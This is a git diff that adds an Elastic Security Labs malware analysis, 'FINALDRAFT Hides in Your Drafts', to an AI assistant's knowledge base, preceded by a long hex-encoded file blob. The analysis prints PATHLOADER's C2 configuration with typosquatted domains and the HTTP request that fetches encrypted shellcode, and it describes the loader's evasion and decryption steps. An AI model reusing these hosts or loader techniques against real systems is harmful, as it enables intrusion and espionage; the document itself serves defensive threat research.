7da40f48c3762783fec71cf32ca725d2165d8c335625575ab386cca226a3559c37498d9c35f207cf627ba3c17eb7f0ce90a4ef70beafb60b7f1873756d9c8db557732bfa39304918b123516b2c50a55e3aef6711a4b87ea983f823de2e79d978948bb37e0421ac912469989117e015b2f01dee622509cae3e2a052c7b2257b4456e8aef8e2ecc396cae6bc1020583db451582675f1fe0c471c7dcc4b6d139ffdea6dcb1d8b1007163a0752f7c1b9612fba4f8e0b974bfa30a3b8e0806204d34fac603072a0104b81cf43b0e5a3fa03b276ad5514b47243b201af245a6bd15bf9e42b7ec56a1979f233c529ad786d02cb907f1b7a648fca21175bc313baa6796fa4a1d353bbe4a450dd3e3d8d2b12566a9df61be09bf764c68c588e6ecd3b0d8b395a9812f4eae2dfcd15c5b80eb21081ac24d3c9d08cb7b5f4bb68753a172957fbd37adfdc203a1e6f8ee0ae5a69db0bd212701e63c7a34abc2ab5d3df31ec281c8196fc0d0a3925dc80e1185ab7bb6efe20091858ef153b269c38b55228a0dcaa20728d6760cb80887de723f0d43b804432bc0c9011c9ba68d85290b4ac8aa82ac60c4b9640eefbbd088f9c9021916f64e55959225587f28d6ee925993578faf1c731d47685ffd6e454ec143170dea59a6731f91ea4b90c3ab16f90267f71ef13fda55d3fe2c06fe0589cfb337378caec2680b5824fd5c45b068ec1db340f7a6f4ee13077ed5ee58c5366a6e8fc6c9dacfed154aaa03d989384ccfce1cbcce3186b3be5b86598976f51d1c85a99fc04f0c05d146800ba72c530b7e227ca8d618370e5deb2041000247e9e6ba5e411b3eb1034091ad0d0ac4f6a0ea0a10fd15721fadb0b48dfab8c3b1b361de3f835cb8de4aa168d0de3ff4ba649bf8b478597135d9043718d76c0abb17664906a240501f1d2e937c1418a9b840b9b408ca1ac09f56b6ea3dad744a029c883f1ed1fbd1245ec379e9ca93837278046d2e22bce2cda649feded42ec23e7e4631afdfb12fcf23c6f937c21fb9dd8daac08cdf29b49bb534c6b598eda696c077dcd1a0588ed7c7bcfa3a475c39d5ebe608dc7361b565d8eb28e63042b53da895ef88739edbcc6ad2809144ada89596112e7a698b3c48a826a2c2e82ab0dfcd211c7770b6a7048c467dba313e274a2659a732395514f77b2e87a7606cbd9b6c1320f02586af70f2e13cc87c0b820b42a9627a9f6fdb254d5a700338f03b6bd877aba92f8080d218fd245db47edb0153731286f960501bc0d9483afc4cc235f4bca704389f9e66e47f0241431cd6f5130a9bf4ab4b3779973cba11b2fdae0cc0c5d5d56198d587c9916072fba4cae43e3fc5a752d5c45452463a6e0827983b95e37265880553161dbb78452fc1eb443990d5456cf79ec1b31008863469535d49c952a843e01131c2a5a41002873e59b2943f02cfa5596139fc74f0d3a5d21c9c196a3bb897d031b1cdea11e910d837bc542830363aa61e7fa9113011e6aa14f2f8d21b719bbdff1c3086a924e4cd1e384c73d05daec0d263c52cd7c7e4a10469f1e6ea5d171b885b5129cdcb274b00cb668d9ef16c5acf9127aff26293dede6c38f745a04c492ec78142348ef2cced49fe4df3fbeabc92bf34fe023d05ff0105cd84c1c646ebba3913c2f3407e50a8cf40f39ce41814c0400f045c4c075392ec285285f7947f9799d4a120fff742f0049bfa5ff1546e2bd816171b66f128109c4eca4548b28d65aa9203cb1a34cc5bfcb174c8eec4ebc4359b3ee70b8add34aeaa278c42ee4efd068e165d1e3be53141fcb8936680c82f172544fe6167b91e6d23a5277db274c799b11c65d41118f1d101be63ce79d70b6502edf5869e73518dee274f1d81a93c42dec203ae36f64828697dc8871cf012d2f245beee87af6b02f1f63386ecb3153fb43bf116643c34a520d6d081a5b98c7116c53038f57782cd66d3c456a20dc1d66b3903bdaa2598dd2415508edeeda6052930d7621e69d376acebc3bf00c3f41e9f16f1c0f157048a1249a6e841368e5899db2c49aceb642275bbf92f59d947af3a77e656744dfd8909e61c3daa0b7c9eeb8606bf238c8e865f83c1c1095e7e5a2cde00d56d1529e8b3b2741c9576a3557905b9b63893dd52c2d63f2272085c20841d24d1291b09b0343117d0c4b83a36aac6350c7871dc6a092626acfc30e200c9b1f3e56e9c9998e98efa1acee6dc4ab2e00e6235fa7487e70b80b5bf1debeb890e81d6b9c02adbb84c1ccb5518292810f5c2ef1160ccd4e083cdeeaef0263a552e92d16c75e36d0962b535171dc80653e7b6ec8dbb407a09a1518e87c173645fe04a697ff3257d3357311e499941789027f0cdd34a73ddb6257ca4ce382a019486cd68564d9fd0e436bc9d0a2ecebc2937a66cf372134eaaa0e85902119ffa18c85f7ebcf2bfb080f2dd3b07e8f90fe9aae904d6e198b4bdc07cc68c1a6d377b0c882853c1b36a9f0a274c991274976cbfe2eb890dff07d4e76a1ba6de2688f4932c27d48194c36df5de2c19272d550739c2d04d9423bf5bc2082eb521c56f0d49c5037c01da0703236ae70654b4520ef33d8295fc094ae566ab8650308744f5639aca8a47de3d6f81805b2605a181acfdc3a6f1769ba70946d6d34c484ce1143abe03d975c1939a4d60fdb9f6283faad7ea6594977fca1b3020c343d5e5f9ec9afd4758f44452ad52b9ef464249f1a23491316d75df88a01b7fb4c2c4a6d88e16fd01d9f82db42bbedc865d087f59826c0338f22153942203441673d4d9ff6a52e30f819e6d08e462872c5c9f33f66307fa49d9160b107761ce7860138f0fd0436d7579ecbb4bf518fd3bb87f5396b89abc10a997c28d6fcb6de32f2390b12d93d1606493b633a117d9668c0358ef693f62de7194ba9f16700e30954ffea089f7d662cf56d0bae0a33a9a2f533c4d59d84654224d24700ec1fce5b104590730b215b88ddcf494001a6466262500e7350973f0a768fff73f8f399d94810e2cc36a455aa6edf5ba94103fc96007d850f42a11bc9a097cb5a4665a6a01e8804ebf66a765a6f65afc73f1791cc95d9fd2df6d632e5c06bbc1abada196fc44d8c5f6a3353bc6ed395d24240132ec2f9e2dcc8edb23a2a00c60a52862f881766f3fac17851327c82a17a0214f0ca49cf693750044c804d0160a08a524b5b939c0745d0bf2f3a3544646bab94515da2d482c635261e0c49f8da1d95ccc976981f21186ff20dd5529b36fa53c7fdfa43cccc9edfb64115aaa5eeb21233536a795926b760ae8c53801089f61d8dde21a465fb34784f95e5b9dc89dfd30e9740dde2fcec7abf2d247660a94a580c07c73cec2252232ae216a25747fe4bfc8e3479267fc0d81a648d3b1c90fa4da8c38049cf21287387a0e358482ab5766dd045c304a1a831000bd0a8d57e7fb3a48f441d517a9f7ce0abe8067166323412204233bff0133f9304992585fd0fb2b5653e0927d9433181cb0e44b32e64e543c5c8f41e28126cd6e9af4abf2603bebe59d24e9dd3a0c520afe6d32705e06ffeace1bd1187a5dc7585e1921b8cf47b7af2bcd940cbe82baace8dbf820ebfe42b6b71eb9b4493a96e208e257abc513ec51200112b7b79a8987feeff46264fada682bb0b9fca2a8ff04f3361ee905a614a25f62be4404ed7651c229981904bb0c3517f33943aac85b028361dfaa12d996c6360168d7c81aa9c68f5914d9044bf297b041949a79effc9bedd6fa0ccb8e1294f5cc77dc727f1f065125b0550b1e449c1efdc00795ffc3e939ac2535a30948c2657b5239c4d26806e4cf9a8e3eff12eff415ab6356f05afe0e381755df20582a7e75a30a8de2d8c324428f8c7c1fa0f93aea0947d4a0c65a5e62ba244ee7270be1a2c5f72540ca8049745eac13eada8f6eb0c9d7e4f08ddfb9466abf2cea32c3ce1106cd1fe0624a1100c552de84438defc5b4bf63145827704ef05044207cf574b7adbc399fca1e4e04fa0e083359afddf494521103e86324961843438fdc6e0ee0798573569ac6d2ecb409f447dbf892a12f57314affc532b02d3e44e78eacabe5421f2054029325747cf6b0da03abfb676b942a9a65b8de992d0985e6dec6363032cc1c51540d90723ffaee6f16f266a18136ee897517ef3e1778f3629177fa81c25aba67d24b80053944cff19b001494965df3f80524bcc4cdf6a348acac32716d63892afad811086d4c1eae740f9236c6c8aa3e794bd9296c5ee4701200e07f69475f1a0818710a08e8e3627043d7ab9efe813d1d06eaa74ee9bf7f21980aeb1d65aa9203cb1a34cc5bfcb174c8eec4e2bdb75a9b02ce5947fafe10212cd012c5305600365664b3c1a4155ee010c6715c86849a10b16d9a32d0b8107012271135fe7c55c96b4e62c360f1df5f971471e400cff26d22e65c0d1c8aa1959ceceece794d6d27088a1d7058cac9a92ea1710a6dd57c5b27a6d0e8956969093b2a858e06e19600a67c44d271977fe6625b95c02c77d337f9cb1f912b680288548a066c584e6fa1af738fc712fa651da46ee3f4991d53f0d035ff575cd621954f7cf11dc464f6d893d8abccf5e3bbc085631109ba84b1c1b5c6637e2f562c1bbecb7114591b2c9d6fc3bcb4652237c9eafbac17766ff5100f55903dc14a3f1b11cde8bb11849fb2fba88d5c0502748a03f2cf33769e617ce6ab23c4f6da43e782fec39f6f418432f7238c62ebc8314b34adf34c0efba7b9dd9768f164f15fc4daddcc84fbbfe6d566b21ba858fe73e967f8d0a822aaa553df84444b101d4a76785df67a4e78d85a106f9e68d5fbcaf41f266c85ed9b47b134b0e7fa49366aecf350c5f91b2d084333a390fbdc3e5070e0075d0c9b85130a4adffc20c10a625cc9d0f7dc745f9df067e6aba323e3ca6304c1b0fc7e24f978de6414536880a5baba14b4bbc747549024167f09c02a7ea5a3c94bf131e3744dddf176c4ce63ae6db4721fa6630c19a58c1d9f943157ceee4a0c5271737b26d2a2a065e0ccf6273e635b56fe3e6ad1c43818425a68d21b6794a2bc9a3452f21fafa9c64a37e82efa3f7d830a50534b20e3d49bb5789cc1755c7392008d3b264a0324c721d42f5073b165fd0c4b2595649f7472db8e9eaa46c17a3f8a463bb4089535aa5af6a3e896a32b2b713636fd5d214323daef646edfefde68ab47e148300a8687202d5c2e655742cb348e282a01df005be7bb153c36be097a09b77be4d7a41d15650ebffe1dd8cd9786befe0a2b7f5e29a1dafc7fc16e2f7b6790bf3a38a785f461f12bada90e3348c2bc4a0279664d664113d09a5d1602f617fc97e0a91b387d5c99e8520ded8fe5cb8111b6b8ab00e05c03b84fcaaa4976bc82aec26e34ce6ed87426e7ee6f8d442fc052ccbe9114834387a025d7f31fbf40501b701e407db25d7f9d1e5e6edf9f20bff4bda8ee4bc554200d860635b680c92fe724c42e707caf3c62966594e39676a460bee10c13dad52a90cf506e408a188c9fd73133269ed6f0c840e3fd188906d28e5bcc230427b5ad6b0eaeb5f87b97888fc98feb26e7c508d7997e730c4ab6befe0a2b7f5e29a1dafc7fc16e2f7b67f9271b3941e71dc7cbbafa0d6f88d6d8d77435e83d2321917742e8df53c08c94d8c5f6a3353bc6ed395d24240132ec23481882de80f9cdae16daf8bdf2b78e685469724f64e272122183a557b8bd35664ae9f1945ac6e6e637426af3988d06f07190182e360a3a2eb4c65395072b6b6c9d176f07a3732711d2ec43c4462e9fc193cc5f79474b1560bf200b2359200663795c27a371567c14a8a5a0b4bbfa398e8b6bcb58b94f243e888ac268a03f63686eb8efa0de3e0cef69a05b94ede92139acacd96f04f1db030d11948a9f17db2219a11d6a12c8796302abbf770f1a0da57bc379de9de804461ee0356461489a9a60b43f741bf5ffa1ebeb728e0d9c7369134f3c3efda27fe4220e0e2fb972f1965d96abc4a9d13a22bd70ccaabda35fd4194093898e5b6ac0d95ac43710573212ce8114aff96caf7030dd9af9d06c6187c76398ac1ee55e5b49e75eed3d3436480eddad7286dfd0032dcc3c6847e9aba58814830eb80523efa237672a183dae22ce8114aff96caf7030dd9af9d06c6187c76398ac1ee55e5b49e75eed3d3436435c001b0fc7ba7131fdba03c0e17672a2843e158e53ec729a8b110b8939e140898eb0b90de1c0a14bbb4381359d7930f148871ed01179af3175cc70ecea165decd697813f460ea3af457946a334ec6f7f72584828119c3d4f0ced03023bc8bf6207e5f8694a6685a0430d4da7e31de61dec764ae6b10630fb971bdcf9ce3c8dffb24ced56b9e6520c95ae0043383191c193cc5f79474b1560bf200b2359200664867dbe2ecd29d01a7b505ff88d29473901e5ad382bd6c0b55b6eba10992f38d6d345fee9762f497a4becd823a84e5259ba1170b60f02f727b51874a9381056feaf04365590ed315607ee8eb4311d5a623946e66099f5aa514d8c9066edabb28de7e756b41c9451c5b727e2dd5fcf33c089ef29563d413553145c559bdf8a421ff9ee07d9f4366c330318dee6a79d66dd78906c61b42a0b38c1c0797c45ef95c361fcfc806b2f38b577eb92594cfeff1008dfab2a1337885042b69909c29eac6aef644edf15a4df1c11d6981b79b1ed86dc9be600147977ef200bbce05d147de05e8481170d41fb26d6cb6680d7e4df432e68a7ed7de7b266f3e9b0b12b34dd85f248105ecd8ce06f6aa3d8d6742a4754a19cbbac540c336464c1aad51aa481f31b1c137bfab7c855d623af6b25f974cc5516cb9ff635d47a080c7caec9260d08cf51c81dddcade41d344c06e6f0199d32e68a7ed7de7b266f3e9b0b12b34dd85f248105ecd8ce06f6aa3d8d6742a47564d865680a897f11b0decde59725fd0445072a2fa57057a7be683757549b80c9d7d022a1b0e67eaa09c1eedaf93374912ce8114aff96caf7030dd9af9d06c618cde9b92f60232b06737bf7cfe5830442fdc15b54de4692b293f2718475490edd71918e75b1db17f54f3e27b1078c1004391053556696927a409b068e66f9ee17720a186a3fe88a2861fee0175e04371a61cd9209a5587a22df26494849ad63d0e528bea158459bfca5a0f2835a3ade9030934635332437630b484eb0f4e3695e9ef7dd81191076950768fca189b56fa7664d28c9341e4d897d3ba158ded9dde2fc13b95cfcf138cedb7637d9bf2228fb9ba1170b60f02f727b51874a9381056fd4bc8d31c7078c1eff3b1c283dafa17dd530ded4fe5283c196aa7df27a7ebd7883f39a81405acf88a6662e9df7513cbaf751dd34b2d51885dc912956557f9ccbb2368a8ee4c7772d2bf73d06f565115dfb17cca5c3fe404e5691791fe693f293ef315bd0de0abdffd5a92d33e86be136697d518ea8d4da833f6b20e16c5119e179088f79a07351bcccf36f1bac6d32eaa1c37c86c7a419194dcbe56edb5809e3b810a593550536de240b9069d82f0122468c4b82c9b2b631603699f54bcf1b8d8e76051474024bb684134144c23f9674fb9b8f1944aa333fadb9e9fb828cfe749c2e76cfe3c7342c18c82f38110f372a9ac27c1b75ebca53341cb03c13c2b69c380ecccb2c0a036744ace44fae294e299bf3b97e02dc1a23ee5d8427db49a7e92a9039bf5556aaa1d7b0e0175f90a16e680a682a5021973f343f9ea72d3a0c7b7a134cdbf3b173e88394c8ce0fcdc7878faff6ce856a6dafcbbd227c1548dafc9bf3b97e02dc1a23ee5d8427db49a7e92a9039bf5556aaa1d7b0e0175f90a16e26667dbb7c9d18c1dbc7041ae548362b6e275b99be9ee4e4a3b2cacb26d1e0a69ba1170b60f02f727b51874a9381056fd4bc8d31c7078c1eff3b1c283dafa17d71df042d775bb404507ae2f415a35db728f83e42dc894443139ff5069c219142b208f68044dd1dee5a7be856244b41e280c4d2893e4a22fbef29221f56d86dfc03cd4158ca5d6583e66366a0da47e48936d930374a6abb83de3cc8f3ca789b135bc892665bd1ee5fe80b3f4a6d0ec3f6b208f68044dd1dee5a7be856244b41e280c4d2893e4a22fbef29221f56d86dfc4558bc88ab629a89f609b7ffc1ce1bb73b9dd0267e44174a7d7af2bdd15a86001eb9be5185edf4c6d8f839dd7b598be8375e7dc6d589999de478782373728a40129863a5b6fb70d9193646d45b5c1dd0b42f22d5f9cca7fc8edda2f2ce80bd213c8af78f9de77005415591eb904609e421c9cae55d7a7e5ea975d3913e6238565699d3f4c1a5572781593c7afcaf70782b17d143ecbe1fd2f4738fc26e9b1330281dc97711ca2933485049beb0357313c77eed7437bc7467670063b3810e3cebd472779d3447da8f70a35b8bfa779b387ca42b076c8a92c7a3b9db9bf2488d435f8d3ff568d0c624d6bff0e2a604a41cba6177c48b36d3d6692dba5611edfc595f2e692fe34beb8eed9e7132f096f1f846b7fd16512fcbbcc9a5f77eb768ea8dc028b0c14cae8976209ea4d8dd1c9aa7a37d71233532a91c229fc293a2d993aa2f2c4ba223a70abceec065e65fac440276b4470c406273ec5a8bcbbc88524bd5c301a7389c7b4f44e47df3d7860f8953dedec4731720a4cd853bccef6dd50bb41357599542012f3e11b4ac983349de3793f71c731ba0900b7d3b0a4888c502fbe0c14e9e818fe2e533c61159435855ae57128a7aae1474b812f7709bca1574e928f70eceba070af01a1926755fcb5ffdea346c297d96911798427e096995e7288c588b11c0c608a4295ad34236c4ce8c535806d4a2ed732b1f29f479ea83e47de68f4390dee97b5e8b0d5d3d1bef30e72f2c4ba223a70abceec065e65fac440276b4470c406273ec5a8bcbbc88524bd5c301a7389c7b4f44e47df3d7860f8953dedec4731720a4cd853bccef6dd50bb41357599542012f3e11b4ac983349de3793f71c731ba0900b7d3b0a4888c502fbe0c14e9e818fe2e533c61159435855ae751fedb8cd7f16c1bb78a3d6e0115fe5e135ce12314ea825035369106a3fe628a8fd1cc2a4a19aa99dc3074fa3aebe0691ba21aafe89aa0d26bc2c3c82ba98597412bb1cd6842e13cb24de87b4b3c150f5afc39096681aeb119deae96c87a621b2ef434273c7706ace5da1fbafc5fb6c4de2ed8b6349a33b881cfb5b0c5e2226756cf03b180066b66b3f0abb06dcc2fff6dfc6bfc1e5d72fcc37f9c76c65da8a54ea6cab923ca77ca629a29acc85b310c65e036529ddcdf7d0dfabf2ccc5eeb81642274c13e4ff38d09c679791bfc299eeecb1fda1463abd5924420ee2629420b73821c60166b7cb5583ebc518e33b5394c79b3ef7c0033630b02b1364d1c328ee83d623865ce07429ba34e958f18510f5b0519a21ad17d68807d85e9015747fee4edd5f8c62ed87bd0658e059abc3bddc49e226cdbd356de5e8f59eb6e786634ac45846384355eda2e891ed3f3a78c734ad9860bd212d27511ff0fd5670040cc5c4e01035a6e3aed41fbe1bba0679788bb2b67a3c6628ad53a0777887b3222efb702abd76889d0f858ff74de9f7e9ddf3170972a07229908ae0c014d02676ed68f430288cb2712b1e39b97c2140fffcbdd6d5a65d41fedf4106441c4330580205a94556f22d15c1778ce7cf724c236880918b6436c491c39892df11dcac2c265aa2d72c4c42eceeeeee6fb38b80bd231865a4253b17d16abd083bea401b1c2210ea3ef8cc51ca81495f968c370d4cf19a21ccceac44490c60fdb7cb45979d4316667e3454b488f442aa0e040b3611b491769e0d6efe034cd4646cbc32f8e68e51e0a329485006bdbab0de154134813a24aec1a3ecff10a5c465369135c0519875893e98ce4f023698b55e8182327a220598b97200e9c47ada09ef9b5a9be2a19c5496453161f3d9494873f60021cdd5d6ddac7707778fd79e5fdb2582fe20aa3e3466204ba3766406060aa64383144c9db06f7ee6b73da7cd329d56949ca5cec43bcd2d2493cd74cebabc32a566816223cc1a355028334798b6cdfde2dec1a1131c6ffbe626db835b3ff2de5b4948d86c0f3870d0e4d07cb8656b0096b3821499ea1d968a2af669ae997ee21e1b39495a4b8c923dafa107f91ca76c5354e1320274a0ec4a68058547344cb5be0caf9b6c5cdae1d8a83c4c8c18bdeab3b1456f5d801b0ee52aff85d55163fc8a65c7cbc62c119accdf7f9fd044b10837ea7642e5f45ab4b7d5548ff3aaec9bec3aa85c544f3fa00af3a4222c0f11ae6bd1e7de72520caf941a6b109a05bcfd65641e0eb6b92e85dffb4ba547016d49255d379ee6434998fbc080ac0f7822255ab050a863f14375f53417b596702feb99a473e93cf8b6c7d8db1993731327d714e111e705284eb2dac80512bc09edf4dba53a4b61c9af42df5074936491934cdbea237dd1381011e6ea0a119425f781030c4246015b1c01b9c9b7cfb3192dda8293b41d7dcaf3d396c88a9fccc1548befa0d5e95f80b51f892afba974dac1f3f5538a114748cbdb97c39976ccd45070e6d288f3e29067f861931b8ef543cbc98a9576176bb641300af78e8134f1d58aadad4e5dd76f8a94c963cb4530388a7756f75340f83e4e218a04b162c2d142df0c10578804ada65c011f0421e4a54662d3d1c3828533c5a41c1355480baff04e0b044b0b10dd1ed9906631d200fd2770f9fa2bcf4e892a3029cf5320f623f61e7a88b8d4d69188f986fa2887a2147ffd3156bcf33d62c6b50b8eb7db302fba2d39a0b5e7a45bda98dd56411c7a10a053ffcbb75a595da8bab93edcc8ecb01c831cdad52629ae695a92244c6d88f246e51a7e575de76a4df3f2c52ed1437f0a78fd8f30df2639584cec6c0a99bea890005c4ada60015ffe6960b0144127fd3001d0f9d6c56b511fd59641e886b1308aa470f2c0ba40184816888a4fb990217773c54ceb42e050a30734d85ac9352eecb4bb65e9c22cdd6685ae85a140ddf928966c5b4cf050836135ff174a7432c97e016f5221cb661bfcf4a59996db9344a0136ce8ee1466e398098405437c77ff2028c6c6c796fe7d8901e0958c36d710c90e958af93a4de2ed8b6349a33b881cfb5b0c5e2226756cf03b180066b66b3f0abb06dcc2ffad13ea13378bc62a199f5bb338c216324f0a79adb47b4717568d4f757cd0f0ebb0cede5e6aa59978128b4a61a78d71c7c8cf6cb6dbf9f06da947cf8e2ff7c64d0e01b0241994f6e81ab14cefbdb0875653e4ff73283cdd40db949f5d0d0b6e52ee559310705297d2d41781083343bed56bc2a39b15330e85ffbcbecf33f5f7a55b6be0665ee2373632cefb17ff473840987faeb26647474ce8e23c1e9d219abddcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a78da16de0e66d48f003328861b98a30ab3fc93f462f4bcd176e44d49435deb15dcc83eb1482ebafb12f159a67fecf89aad5749e9e8df34ba1c097016ff41003ddcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89aac603072a0104b81cf43b0e5a3fa03b276ad5514b47243b201af245a6bd15bf9947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c4f3134a1945243000da281091dc6b41ba462eee449c57233b3337809b3fc8e502a8ea345634b82cb582ae5dfb5e24f4b83e39ba7ee24fcb2a28f0066ba11e6da947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c9a43a2b8e7c4a206f9b33dd7151bc5b4b62972517c424e922cdca63f7bcc53524ee5f4b104c734d2881635370ee1dcb24230f486ea07fbf880e386ea3a913f1a59d0559c5803e16d167a151c25cd36d7265da139b669563098f433ba5063826e41ce0ab6bdf73d2ac8833646cf617dbbfeb8a7db5bf5154ce00f33c4d584d92d1043f0ba9586309899f96c2a3b2cd2a670834872315a3bf0dc8b3225f1d69147dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a7a567c7e6df285fd31a14168a3e0295a25a3909f31f1d7f58fba87f880c11b793443584a4bbdc5d541aaf4078e3d50620409365b66252130386429998beb432ca86b02123d33876d60a53adca4963582f0d0389bf6ebb04cac97bfe1e13c26f4b1a35e228377896fb4df0cb911333f989bf343173e2cbb37d2140573a3decf7b7010ca59ac6bdb6ff309d0c5949f96ccf8bf4746a6903e9bf8a654b0f0b7f558b8e620aa7de061cca343d8d7fa8e1d1d303901b24a08b89a714b957965813456ae0a2bdc186a7ca787fd02cfc72919ec87505271772dcd861b888e85b633bfabdf39d554202aec893049bbb5618f511726d979ea9942003726438c8335678f320a08d54c7c4c96a4281c8470c2a72638b867937422e8ba4780e6c31cd54bc1463b1849e9a4fe842e126c2e62c0731e453fe2da43a98f4dfc4161fad928ddf315f441a4c65c1b30c993425e6b4049e927ad19852fef9c5d9e55cd281bc1878b57dcc83eb1482ebafb12f159a67fecf89a48742cbe0a8c24f3c983e460720744439e713a24e4fdf3ff57992f10f574de6ad0ff6962de6f1f593f210147ead31b78dcc83eb1482ebafb12f159a67fecf89a31295910c9f0eaa83e84a30dbcf06eb5790b6e9b7b2538b9b2b07e3607e14b4475045359103d922fa58e99476880b7ea9d74f71f1f40f1f43a2ddc4c69840400d92da9c73c2ff90fa2be77f5b10a48c3dd782bae20adbbf76b7a18c890bb20a4265fe9bbfdb1250ef48245a77fb63fe9579ef3ada585a3120a38164504f3051669a9a00cd56a0ea76351fd72793f7deb558231218876180aded9c2f4f47491c6dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcb69f4e937998140b15c395533936703ec9e2ce813bcdb901046e2ee1d24a22e11985454a47de9e9bf0927d8e4480a9c5087d8860b51470b5bf78dcb4465cd2c5a868bbe2df8058596b4f599e5a7dfa942e7161542b48f62cd662e3a2a8b5e4cc91a6177587e18300da12ad0f7c6fbf404223d369250ca5f2e588403ce55939cbc7f9a24ee23d57f387cf25937d5b7b9cddcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a7af846b512c45eb3fbba3b2e19238c8f3b562b6a72da7b45c1a121008e5f6eff1688114f98c5a50cba1c642ddf88c19bb6546038f2dc11e23360f1bc849eb7bddbf3316605d044da6d80fe8917102742ef9dbe618eb6f4ca7eab604a564f694fcc22e2d040c04b3d7c54bf8b39c64c867eb892551f7c6d31c390faecadebf53b28f9da460be959a3232c55457a040ff7dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a1dcb645edc8f36053f0e1cf22fcb11126751c855528bd5bfa37eb688ed43e9398e753425d2bf53b779b4d48d53538481a4ae198fdd93848d7379597bcf2c26f4a222e483a258f647f9365bc7a17ff41bb0894e3c806e7d154b600dda438505f2215f00779d84f456419cd9363efc26c106be95dfb5231741e6c8c4ea5766db2381490ac12a6b5376aec5a5ac034183a7 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/finaldraft.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/finaldraft.md new file mode 100644 index 0000000000000..0e97df0e1feb2 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/finaldraft.md @@ -0,0 +1,684 @@ +--- +title: "You've Got Malware: FINALDRAFT Hides in Your Drafts" +slug: "finaldraft" +date: "2025-02-13" +description: "During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications." +author: + - slug: cyril-francois + - slug: jia-yu-chan + - slug: salim-bitam + - slug: daniel-stepanic +image: "Security Labs Images 13.jpg" +category: + - slug: malware-analysis +tags: + - slug: REF7707 + - slug: FINALDRAFT + - slug: PATHLOADER +--- + +# Summary + +While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities. + +Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time. + +The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign. + +This report details the features and capabilities of these tools. + +![PATHLOADER & FINALDRAFT execution diagram](/assets/images/finaldraft/image47.png) + +For the campaign analysis of REF7707 - check out [From South America to Southeast Asia: The Fragile Web of REF7707](https://www.elastic.co/security-labs/fragile-web-ref7707). + +# Technical Analysis + +## PATHLOADER + +PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure. + +Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments. + +### Configuration + +PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the `.data` section that includes C2 and other relevant settings. + +![Embedded configuration](/assets/images/finaldraft/image7.png) + +After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors. + +``` +https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|* +``` + +*Configuration from PATHLOADER* + +### API Hashing + +In order to block static analysis efforts, PATHLOADER performs API hashing using the [Fowler–Noll–Vo hash](https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function) function. This can be observed based on the immediate value `0x1000193` found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function. + +![Occurrences of value 0x1000193](/assets/images/finaldraft/image10.png) + +### String Obfuscation + +PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data. + +![String obfuscation example](/assets/images/finaldraft/image56.png) + +One string related to logging `WinHttpSendRequest` error codes used by the malware developer was left unencrypted. + +![Logging string left unencrypted](/assets/images/finaldraft/image55.png) + +### Execution/Behavior + +Upon execution, PATHLOADER employs a combination of `GetTickCount64` and `Sleep` methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (`poster.checkponit[.]com`, `support.fortineat[.]com`) attempting to download the shellcode through `HTTPS` `GET` requests. + +``` +GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1 +Cache-Control: no-cache +Connection: Keep-Alive +Pragma: no-cache +Host: poster.checkponit.com +User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36 +``` + +The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path `“/nzoMeFYgvjyXK3P”` as the 128-bit key used in the call to the `CryptImportKey` API. + +![CryptImportKey parameters](/assets/images/finaldraft/image53.png) + +After the `CryptDecrypt` call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to `PAGE_EXECUTE_READ_WRITE` using the `NtProtectVirtualMemory` API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT. + +## FINALDRAFT + +FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server. + +### Entrypoint + +FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this 